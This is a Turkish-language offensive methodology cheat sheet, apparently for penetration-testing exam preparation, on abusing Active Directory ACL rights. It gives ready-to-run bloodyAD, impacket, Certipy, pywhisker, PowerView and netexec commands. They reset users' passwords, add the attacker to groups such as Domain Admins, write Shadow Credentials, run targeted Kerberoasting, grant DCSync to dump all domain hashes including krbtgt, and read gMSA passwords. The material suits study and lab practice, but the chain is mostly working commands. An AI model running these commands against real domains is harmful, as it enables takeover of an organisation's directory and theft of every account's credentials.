FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE zor :389:636:88:445

ACL İstismarı — GenericAll/GenericWrite/WriteDacl/WriteOwner/ForceChangePassword/AddMember/Shadow Creds/GMSA

BloodHound'da çıkan nesne ACL haklarını (GenericAll, GenericWrite, WriteDacl, WriteOwner, AddMember, ForceChangePassword, AddKeyCredentialLink, ReadGMSAPassword) bloodyAD / PowerView / impacket / Certipy / pyWhisker ile somut yetki yükseltmeye çeviren saldırı zinciri.

Bilgi: ÖN KOŞULLAR
  • Geçerli bir domain hesabı ({{USER}}:{{PASS}} veya {{NTHASH}})
  • BloodHound/SharpHound ile toplanmış ACL grafiği (outbound control kenarları)
  • Hedef nesne üzerinde devredilmiş bir ACE (GenericAll/GenericWrite/WriteDacl/WriteOwner/ForceChangePassword/AddMember/AddKeyCredentialLink/ReadGMSAPassword)
┌──

Komutlar

bloodhound-python ✓ EXAM-SAFE user
bloodhound-python -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' -ns {{DC_IP}} -c All --zip
ACL kenarlarını (outbound object control) toplamak için BloodHound verisi çek. Sonra GUI'de 'Find Shortest Paths' ile haklarını bul. The Hacker Recipes — BloodHound; HackTricks AD — BloodHound
netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' -M daclread -o TARGET_DN='CN={{USER}},CN=Users,DC=...' ACTION=read
Bir nesnenin DACL'ini doğrudan oku; hangi principal'ın hangi hakka sahip olduğunu teyit et. NetExec Wiki — ldap daclread; The Hacker Recipes — DACL abuse
bloodyAD ✓ EXAM-SAFE user
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' get writable
Mevcut kullanıcının yazma hakkı olan tüm nesneleri listele (GenericWrite/Owner/WriteDacl avcılığı). bloodyAD GitHub — get writable; The Hacker Recipes — Access controls
bloodyAD ✓ EXAM-SAFE user
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' set password 'TARGET_USER' 'Newp@ss123!'
GenericAll / ForceChangePassword: hedef kullanıcının parolasını sıfırla. bloodyAD GitHub — set password; The Hacker Recipes — ForceChangePassword
net ✓ EXAM-SAFE user
net rpc password 'TARGET_USER' 'Newp@ss123!' -U '{{DOMAIN}}/{{USER}}%{{PASS}}' -S {{DC_HOST}}
ForceChangePassword için Samba net rpc alternatifi; hedefin parolasını uzaktan değiştir. The Hacker Recipes — ForceChangePassword (net rpc); HackTricks AD — ACL
bloodyAD ✓ EXAM-SAFE user
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' add groupMember 'TARGET_GROUP' '{{USER}}'
AddMember / GenericWrite on group: kendini ayrıcalıklı gruba ekle (ör. Domain Admins, Remote Management Users). bloodyAD GitHub — add groupMember; The Hacker Recipes — AddMember
net ✓ EXAM-SAFE user
net rpc group addmem 'TARGET_GROUP' '{{USER}}' -U '{{DOMAIN}}/{{USER}}%{{PASS}}' -S {{DC_HOST}}
AddMember için net rpc alternatifi; principal'ı gruba ekle. Sonra net rpc group members ile teyit et. The Hacker Recipes — AddMember (net rpc); HackTricks AD — ACL
certipy ✓ EXAM-SAFE user
certipy-ad shadow auto -u {{USER}}@{{DOMAIN}} -p '{{PASS}}' -account 'TARGET_USER' -dc-ip {{DC_IP}}
AddKeyCredentialLink / GenericWrite / GenericAll: Shadow Credentials. Hedefin msDS-KeyCredentialLink'ine sertifika ekler, PKINIT ile TGT alır ve NT hash'i döker. Certipy Wiki — Shadow Credentials; The Hacker Recipes — Shadow Credentials
pywhisker ✓ EXAM-SAFE user
pywhisker -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' --target 'TARGET_USER' --action add --dc-ip {{DC_IP}}
Shadow Credentials alternatifi: msDS-KeyCredentialLink'e cert ekler ve .pfx üretir. Sonra PKINITtools/gettgtpkinit ile TGT al. pyWhisker GitHub; The Hacker Recipes — Shadow Credentials
targetedKerberoast ✓ EXAM-SAFE user
targetedKerberoast.py -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' --dc-ip {{DC_IP}}
GenericWrite/GenericAll on user: geçici bir SPN yazıp Kerberoast TGS-REP hash'i çek, sonra SPN'i temizler (targeted Kerberoast). The Hacker Recipes — Targeted Kerberoasting; ShutdownRepo targetedKerberoast
powerview ✓ EXAM-SAFE user
Set-DomainObject -Identity 'TARGET_USER' -Set @{serviceprincipalname='fake/ROAST'}; Get-DomainSPNTicket -Identity 'TARGET_USER'
Windows tarafı targeted Kerberoast: PowerView ile sahte SPN yaz, TGS al, sonra SPN'i temizle. PowerView Docs — Set-DomainObject; HackTricks AD — Targeted Kerberoast
impacket-dacledit ✓ EXAM-SAFE user
impacket-dacledit -action 'write' -rights 'DCSync' -principal '{{USER}}' -target-dn 'DC=...,DC=...' '{{DOMAIN}}/{{USER}}:{{PASS}}' -dc-ip {{DC_IP}}
WriteDacl on domain object: kendine DCSync (DS-Replication-Get-Changes/-All) hakkı yaz, sonra secretsdump ile tüm hash'leri dök. Impacket dacledit; The Hacker Recipes — WriteDacl / DCSync grant
bloodyAD ✓ EXAM-SAFE user
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' add dcsync '{{USER}}'
WriteDacl için bloodyAD ile kendine DCSync hakkı ekle; ardından impacket-secretsdump -just-dc. bloodyAD GitHub — add dcsync; The Hacker Recipes — WriteDacl
impacket-owneredit ✓ EXAM-SAFE user
impacket-owneredit -action write -new-owner '{{USER}}' -target 'TARGET_USER' '{{DOMAIN}}/{{USER}}:{{PASS}}' -dc-ip {{DC_IP}}
WriteOwner: hedef nesnenin sahibi ol. Sahip olunca DACL'i yazabilirsin -> kendine GenericAll ver. Impacket owneredit; The Hacker Recipes — WriteOwner
impacket-dacledit ✓ EXAM-SAFE user
impacket-dacledit -action 'write' -rights 'FullControl' -principal '{{USER}}' -target 'TARGET_USER' '{{DOMAIN}}/{{USER}}:{{PASS}}' -dc-ip {{DC_IP}}
WriteOwner sonrası: sahibi olduğun nesneye kendine FullControl (GenericAll) ACE yaz; sonra parola sıfırla / shadow creds. Impacket dacledit; The Hacker Recipes — WriteOwner -> GenericAll
netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' --gmsa
ReadGMSAPassword: msDS-ManagedPassword okuma hakkın varsa gMSA NT hash'ini al, sonra PtH ile o hesaba geç. NetExec Wiki — ldap --gmsa; The Hacker Recipes — Read GMSA password
bloodyAD ✓ EXAM-SAFE user
bloodyAD --host {{DC_IP}} -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' get object 'GMSA01$' --attr msDS-ManagedPassword
gMSA parola blob'unu bloodyAD ile çek (NT hash dahil); GenericWrite varsa RBCD için de kullanılabilir. bloodyAD GitHub — get object msDS-ManagedPassword; The Hacker Recipes — gMSA
powerview ✓ EXAM-SAFE user
Add-DomainObjectAcl -TargetIdentity 'DC=...,DC=...' -PrincipalIdentity '{{USER}}' -Rights DCSync
Windows tarafı WriteDacl istismarı: PowerView ile domain head'e kendine DCSync hakkı ekle. PowerView Docs — Add-DomainObjectAcl; HackTricks AD — DCSync grant

ACL (Access Control List) istismarı, BloodHound grafiğinde gördüğün “outbound object control” kenarlarını gerçek yetki yükseltmeye çevirmektir. Her ACE türü farklı bir saldırıya açılır. Genel akış: prereq (bir hak devralmış kullanıcı) -> enum (hangi nesnede hangi hak) -> attack (hakka özgü istismar) -> result (yeni kimlik/hash/DCSync).

0. Önce Hakkını Bul

Her şey doğru ACE’i tespit etmekle başlar. bloodhound-python -c All ile veriyi topla, GUI’de hedef kullanıcı/grup düğümünden “Outbound Object Control” sekmesine bak. Komut satırından teyit için nxc ldap ... -M daclread ya da bloodyAD get writable kullan. Aynı saldırının hem Linux (impacket/bloodyAD) hem Windows (PowerView) yolu vardır; lab durumuna göre seç.

1. GenericAll / GenericWrite (Kullanıcı Üzerinde)

Kullanıcı nesnesinde GenericAll/GenericWrite, üç ayrı saldırıya açılır:

  1. Targeted Kerberoast: Hedefe geçici servicePrincipalName yazarsın, TGS-REP hash’i Kerberoast’larsın, sonra SPN’i silersin. targetedKerberoast.py bunu otomatik yapar. Avantaj: hedefin parolasını DEĞİŞTİRMEDEN crack denersin (daha az gürültü, geri dönüşü kolay).
  2. Shadow Credentials: Hedefin msDS-KeyCredentialLink alanına bir sertifika eklersin (certipy shadow auto veya pywhisker). PKINIT ile TGT alıp NT hash’i UnPAC-the-hash ile dökersin. Parola sıfırlamaya göre çok daha sessizdir ve geri alınabilir. Gotcha: DC’de PKINIT/AD CS gerekir ve domain functional level 2016+ olmalı; eski DC’lerde key credential desteklenmez.
  3. ForceChangePassword: En gürültülü yol — hedefin parolasını sıfırlarsın (bloodyAD set password veya net rpc password). Servis hesaplarında uygulamayı kırabilir, sınav/angajmanda en son tercih.

2. GenericWrite / AddMember (Grup Üzerinde)

Grupta yazma hakkın varsa kendini gruba eklersin: bloodyAD add groupMember ya da net rpc group addmem. Domain Admins, Enterprise Admins, Remote Management Users, Backup Operators gibi gruplar doğrudan DA’ya veya kutuya WinRM erişimine açılır. Gotcha: Üyelik değişiminin etkili olması için yeni bir TGT alman gerekir — mevcut biletinde eski grup SID’leri PAC’te cache’lidir, kinit/yeni auth ile tazele.

3. WriteDacl

Nesnenin DACL’ini yazma hakkı = istediğin ACE’i ekleyebilirsin. En değerlisi domain head’e (DC=…) kendine DCSync (DS-Replication-Get-Changes + Get-Changes-All) hakkı yazmaktır: impacket-dacledit -rights DCSync ya da bloodyAD add dcsync ya da PowerView Add-DomainObjectAcl -Rights DCSync. Sonra impacket-secretsdump -just-dc ile tüm domain hash’lerini (krbtgt dahil) dökersin -> oyun biter.

4. WriteOwner

Sadece sahipliği değiştirme hakkı verir, doğrudan içeriği değil. İki adım: (1) impacket-owneredit -action write -new-owner {{USER}} ile nesnenin sahibi ol; (2) sahip olarak DACL’i yazıp kendine FullControl/GenericAll ver (impacket-dacledit -rights FullControl). Artık 1. maddedeki tüm saldırılar (shadow cred, targeted kerberoast, reset) açık. Gotcha: İşlem sonrası temizlik için eski sahibi geri yazmayı unutma.

Bu spesifik write hakkı tek başına Shadow Credentials saldırısına yeter — GenericAll’a gerek yok. certipy shadow auto ya da pywhisker --action add ile cert ekle, PKINIT TGT al, NT hash dök. Bilgisayar hesaplarında da çalışır (makine hesabının hash’i -> RBCD/PtH).

6. ReadGMSAPassword

Bir gMSA’nın msDS-ManagedPassword blob’unu okuma hakkın varsa NT hash’i alırsın: nxc ldap --gmsa veya bloodyAD get object --attr msDS-ManagedPassword. gMSA genelde ayrıcalıklı servis hesabıdır; çıkan NT hash ile PtH yaparak o servisin/host’un yetkilerine geçersin. Gotcha: Parola otomatik döner (~30 gün), ama okuma anında geçerli olanı verir.

Sık Hatalar

  • LDAP yazma işlemleri için saat kayması (clock skew) Kerberos auth’ta sorun çıkarır; ntpdate {{DC_IP}} ile senkronla, ya da NTLM bind (-p) kullan.
  • dacledit/owneredit Impacket’in güncel sürümünde gelir; eski sürümde yoksa pip ile güncelle.
  • Her zaman geri dönüş bırak: targeted kerberoast’ta SPN’i sil, owneredit’te eski sahibi geri yaz, eklenen ACE’leri kaldır.
┌──

Kaynaklar

0/15 set